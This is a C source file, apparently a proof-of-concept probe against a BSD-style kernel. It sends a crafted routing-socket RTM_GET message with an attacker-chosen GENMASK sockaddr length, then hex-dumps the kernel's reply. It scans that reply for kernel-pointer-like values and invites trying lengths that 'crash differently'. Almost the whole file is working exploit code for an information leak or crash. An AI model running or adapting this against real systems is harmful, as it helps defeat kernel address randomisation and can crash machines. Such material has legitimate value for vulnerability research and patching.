#include #include #include #include #include #include #include #include #include #include #define RTM_VERSION 5 #define RTM_GET 4 #define RTM_ADD 1 struct rt_metrics { uint32_t rmx_locks, rmx_mtu, rmx_hopcount; int32_t rmx_expire; uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh; uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state; uint32_t rmx_filler[3]; }; struct rt_msghdr { unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type; unsigned short rtm_index; int rtm_flags; int rtm_addrs; int rtm_pid; int rtm_seq; int rtm_errno; int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx; }; int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGPIPE, SIG_IGN); if (argc < 2) { printf("Usage: %s \n Try values 4-128 to see which crash differently\n"); return 1; } int gm_len = atoi(argv[1]); printf("Testing GENMASK with sa_len=%d\n", gm_len); int fd = socket(PF_ROUTE, SOCK_RAW, 0); if (fd < 0) { printf("socket fail\n"); return 1; } char buf[2048]; memset(buf, 0, sizeof(buf)); struct rt_msghdr *rtm = (struct rt_msghdr *)buf; rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION; rtm->rtm_seq = 1; rtm->rtm_addrs = 0x09; int off = sizeof(*rtm); struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off); dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst); dst->sin_addr.s_addr = inet_addr("8.8.8.8"); off += sizeof(*dst); buf[off] = gm_len; buf[off+1] = AF_INET; memset(buf+off+2, 0xFF, gm_len > 2 ? gm_len - 2 : 0); int padded = (gm_len + 3) & ~3; if (padded < 4) padded = 4; off += padded; rtm->rtm_msglen = off; printf("msglen=%d, writing...\n", rtm->rtm_msglen); ssize_t s = write(fd, buf, rtm->rtm_msglen); printf("write=%zd errno=%d\n", s, s < 0 ? errno : 0); if (s > 0) { ssize_t r = read(fd, buf, sizeof(buf)); printf("read=%zd\n", r); if (r > 0) { struct rt_msghdr *resp = (struct rt_msghdr *)buf; printf("resp type=%u errno=%d addrs=0x%x\n", resp->rtm_type, resp->rtm_errno, resp->rtm_addrs); printf("full hex (%zd):\n", r); for (int i = 0; i < r && i < 512; i++) { printf("%02x", (unsigned char)buf[i]); if ((i+1)%32 == 0) printf("\n"); } printf("\n"); for (int i = 0; i+7 < r; i += 4) { uint64_t v = *(uint64_t*)(buf+i); if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) printf("POSSIBLE KPTR at +%d: 0x%016llx\n", i, v); } } } close(fd); printf("SURVIVED\n"); return 0; }